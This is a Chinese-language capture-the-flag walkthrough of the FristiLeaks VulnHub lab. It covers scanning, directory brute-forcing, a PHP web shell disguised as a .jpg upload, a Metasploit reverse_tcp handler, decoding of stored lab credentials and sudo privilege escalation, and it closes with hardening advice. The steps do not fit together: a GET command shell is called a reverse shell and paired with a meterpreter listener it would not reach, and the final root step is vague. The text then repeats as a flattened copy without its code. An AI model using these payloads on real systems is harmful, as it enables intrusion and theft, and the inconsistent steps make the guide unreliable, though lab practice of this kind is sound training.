Vunlnhub之FristiLeaks靶场复现
字数 1047 2025-08-15 21:33:14

FristiLeaks靶场复现教学文档

靶机概述

FristiLeaks是一个基于Web应用漏洞和系统提权的渗透测试靶场,适合初学者练习信息收集、Web漏洞利用和Linux提权技术。

环境准备

  • 靶机: FristiLeaks虚拟机

    • 网络模式: NAT
    • MAC地址: 08:00:27:A5:A6:76 (需手动更改)
  • 攻击机:

    • Kali Linux
    • Windows 10

信息收集阶段

1. 发现靶机IP

使用以下工具扫描本地网络:

netdiscover -r
# 或
arp-scan -l

2. 端口扫描

使用nmap扫描开放端口:

nmap -sV <靶机IP>

发现开放80端口(HTTP服务)

3. Web目录爆破

使用dirb工具爆破网站目录:

dirb http://<靶机IP>

发现/fristi/目录

4. 分析登录页面

访问http://<靶机IP>/fristi/发现登录界面,通过查看页面源代码发现:

  • 用户名提示: eezeepz
  • Base64编码的图片数据

5. 解码Base64数据

将Base64数据解码为图片:

echo "Base64编码数据" | base64 -d > image.png

打开图片后发现密码信息

漏洞利用阶段

1. 登录系统

使用获得的凭据登录:

  • 用户名: eezeepz
  • 密码: 从图片中获得

2. 文件上传漏洞利用

  1. 创建PHP反向shell文件shell.txt:
<?php system($_GET['cmd']); ?>
  1. 重命名为shell.php.jpg绕过上传限制
  2. 上传文件

3. 建立反向连接

使用Metasploit设置监听:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT <监听端口>
exploit

访问上传的shell文件触发连接

提权阶段

1. 初步权限提升

  1. /home/eezeepz目录下发现notes.txt
  2. 文件内容包含加密字符串和Python解密脚本

2. 解密凭据

修改提供的解密脚本:

import base64,codecs,sys

def decodeString(str):
    rot13string = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(rot13string)

print decodeString(sys.argv[1])

解密获得的字符串:

python decrypt.py "RFn0AKnlMHMPIzpyuTI0ITG"
python decrypt.py "mVGZ3O3omkJLmy2pcuTq"

获得以下凭据:

  • admin~thisisalsopw123
  • fristigod~LetThereBeFristi!

3. 最终提权

  1. 切换到fristigod用户:
su fristigod
密码: LetThereBeFristi!
  1. 检查sudo权限:
sudo -l
  1. 发现可以以fristi用户身份执行特定脚本:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
  1. 通过该脚本获得root权限

4. 获取flag

在系统关键位置查找flag文件,通常位于:

/root/flag.txt
/home/fristigod/flag.txt

技术总结

  1. 信息收集: 网络扫描、目录爆破、源代码分析
  2. 加密分析: Base64解码、ROT13解码
  3. Web漏洞: 文件上传绕过
  4. 提权技术:
    • 敏感信息泄露
    • Sudo权限滥用
    • 自定义脚本利用

安全建议

  1. 避免在客户端存储敏感信息
  2. 严格限制文件上传功能
  3. 最小化sudo权限分配
  4. 加密存储重要凭据
  5. 定期审计系统权限配置

通过本靶场练习,可以掌握从信息收集到系统提权的完整渗透测试流程。

FristiLeaks靶场复现教学文档 靶机概述 FristiLeaks是一个基于Web应用漏洞和系统提权的渗透测试靶场,适合初学者练习信息收集、Web漏洞利用和Linux提权技术。 环境准备 靶机 : FristiLeaks虚拟机 网络模式: NAT MAC地址: 08:00:27:A5:A6:76 (需手动更改) 攻击机 : Kali Linux Windows 10 信息收集阶段 1. 发现靶机IP 使用以下工具扫描本地网络: 2. 端口扫描 使用nmap扫描开放端口: 发现开放80端口(HTTP服务) 3. Web目录爆破 使用dirb工具爆破网站目录: 发现 /fristi/ 目录 4. 分析登录页面 访问 http://<靶机IP>/fristi/ 发现登录界面,通过查看页面源代码发现: 用户名提示: eezeepz Base64编码的图片数据 5. 解码Base64数据 将Base64数据解码为图片: 打开图片后发现密码信息 漏洞利用阶段 1. 登录系统 使用获得的凭据登录: 用户名: eezeepz 密码: 从图片中获得 2. 文件上传漏洞利用 创建PHP反向shell文件 shell.txt : 重命名为 shell.php.jpg 绕过上传限制 上传文件 3. 建立反向连接 使用Metasploit设置监听: 访问上传的shell文件触发连接 提权阶段 1. 初步权限提升 在 /home/eezeepz 目录下发现 notes.txt 文件内容包含加密字符串和Python解密脚本 2. 解密凭据 修改提供的解密脚本: 解密获得的字符串: 获得以下凭据: admin~thisisalsopw123 fristigod~LetThereBeFristi! 3. 最终提权 切换到 fristigod 用户: 检查sudo权限: 发现可以以fristi用户身份执行特定脚本: 通过该脚本获得root权限 4. 获取flag 在系统关键位置查找flag文件,通常位于: 技术总结 信息收集 : 网络扫描、目录爆破、源代码分析 加密分析 : Base64解码、ROT13解码 Web漏洞 : 文件上传绕过 提权技术 : 敏感信息泄露 Sudo权限滥用 自定义脚本利用 安全建议 避免在客户端存储敏感信息 严格限制文件上传功能 最小化sudo权限分配 加密存储重要凭据 定期审计系统权限配置 通过本靶场练习,可以掌握从信息收集到系统提权的完整渗透测试流程。